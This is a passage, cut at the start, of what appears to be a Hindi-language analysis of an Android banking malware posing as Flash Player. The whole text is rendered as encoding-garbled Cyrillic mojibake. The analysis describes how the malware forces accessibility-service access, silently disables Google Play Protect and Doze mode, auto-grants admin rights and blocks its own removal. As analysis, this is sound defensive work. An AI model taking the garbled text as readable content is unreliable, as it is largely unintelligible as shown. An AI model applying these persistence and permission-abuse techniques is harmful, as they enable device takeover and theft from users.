рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдирд╛ рд╣реИред рд╕реНрд╡рддрдГ рдХреЛрдб рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Google Play Protect" рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЛрдб рднреА рдкрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЕрднреНрдпрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ
рдореИрдВ рдЦрд▓рдирд╛рдпрдХ рдХреЗ рдЯреНрд╡рд┐рдЯрд░ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдХрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣рд╛

рдПрдкреАрдЖрдИ 27 рдХреЗ рд╕рд╛рде рдПрдХ рдПрдореБрд▓реЗрдЯрд░ рдкрд░ рдПрдкреАрдХреЗ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред
рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ "рдлрд╝реНрд▓реИрд╢ рдкреНрд▓реЗрдпрд░" рдирд╛рдордХ рдПрдХ рдлреНрд▓реИрд╢ рдкреНрд▓реЗрдпрд░ рдЖрдЗрдХрди рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛
рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд╣рдо рдЖрдЗрдХрди рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рд╣рдордиреЗ рдореИрд▓рд╡реЗрдпрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рд╣реИред
рдорд╛рд▓реНрд╡рд╛рд░реА рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЧрддрд┐рд╡рд┐рдзрд┐ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдХрдо рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдлрд┐рд░ рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ рдФрд░ рдЬрдм рддрдХ рдореИрдВ рд╕реЗрд╡рд╛ рдХреЛ рдЪрд╛рд▓реВ рдирд╣реАрдВ рдХрд░рддрд╛ рддрдм рддрдХ рдпрд╣ рдПрдХ рдЪрдХреНрд░ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред
рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕рд░реНрд╡рд┐рд╕ рдЪреЗрдХрдмреЙрдХреНрд╕ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реЗ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд░рд┐рд╡рд░реНрддрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдореИрдВ рдЕрдм рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕рд░реНрд╡рд┐рд╕ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛, рдбреЗрд╕реНрдХрдЯреЙрдк рдЖрдЗрдХрди рднреА рдЧрд╛рдпрдм рд╣реЛ рдЧрдпрд╛, рдХреБрдЫ рд╕реЗрдХрдВрдб рдХреЗ рдмрд╛рдж рдбреЛрдЬрд╝ рдореЛрдб рд╢рдЯрдбрд╛рдЙрди рдЕрдиреБрд░реЛрдз рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛, рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж рдмрдВрдж рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдСрдЯреЛ-рдХреНрд▓рд┐рдХ ред
рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдЗрд╕реА рддрд░рд╣ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдСрдЯреЛ рдкреБрд╖реНрдЯрд┐ рдереАред рдореИрд▓рд╡реЗрдпрд░ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╣рдЯрд╛рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рд╕реЗрдЯрд┐рдВрдЧ рдЦреЛрд▓рддреЗ рд╕рдордп, рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╡рд╛рдкрд╕ рдирд┐рдХрд▓ рдЬрд╛рддрд╛ рд╣реИ (GLOBAL_ACTION_BACK)ред
рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдкрд╣рд▓реЗ рднрд╛рдЧ рдореЗрдВ рд╣реИ, рдореИрдВ рдЬрд▓реНрдж рд╣реА рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЗ рд╕рд╛рде рджреВрд╕рд░рд╛ рднрд╛рдЧ рд▓рд┐рдЦреВрдВрдЧрд╛, рдФрд░ рд╕рдВрднрд╡рддрдГ рдЗрд╕ рдмреЙрдЯ рдХреЗ рдореБрдЦреНрдп рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде, рдХреНрдпреЛрдВрдХрд┐ рдореБрдЭреЗ рд╕рд░реНрд╡рд░ рдХреА рд╡реИрдз рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдореИрд▓рд╡реЗрдпрд░ рдХреА рдПрдкреАрдХреЗ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдорд┐рд▓ рдкрд╛рдИред
Malvari рд░рд┐рд╡рд░реНрд╕ рдХреЛ keklick1337 рдХреЗ рд╕рдВрдпреЛрдЬрди рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛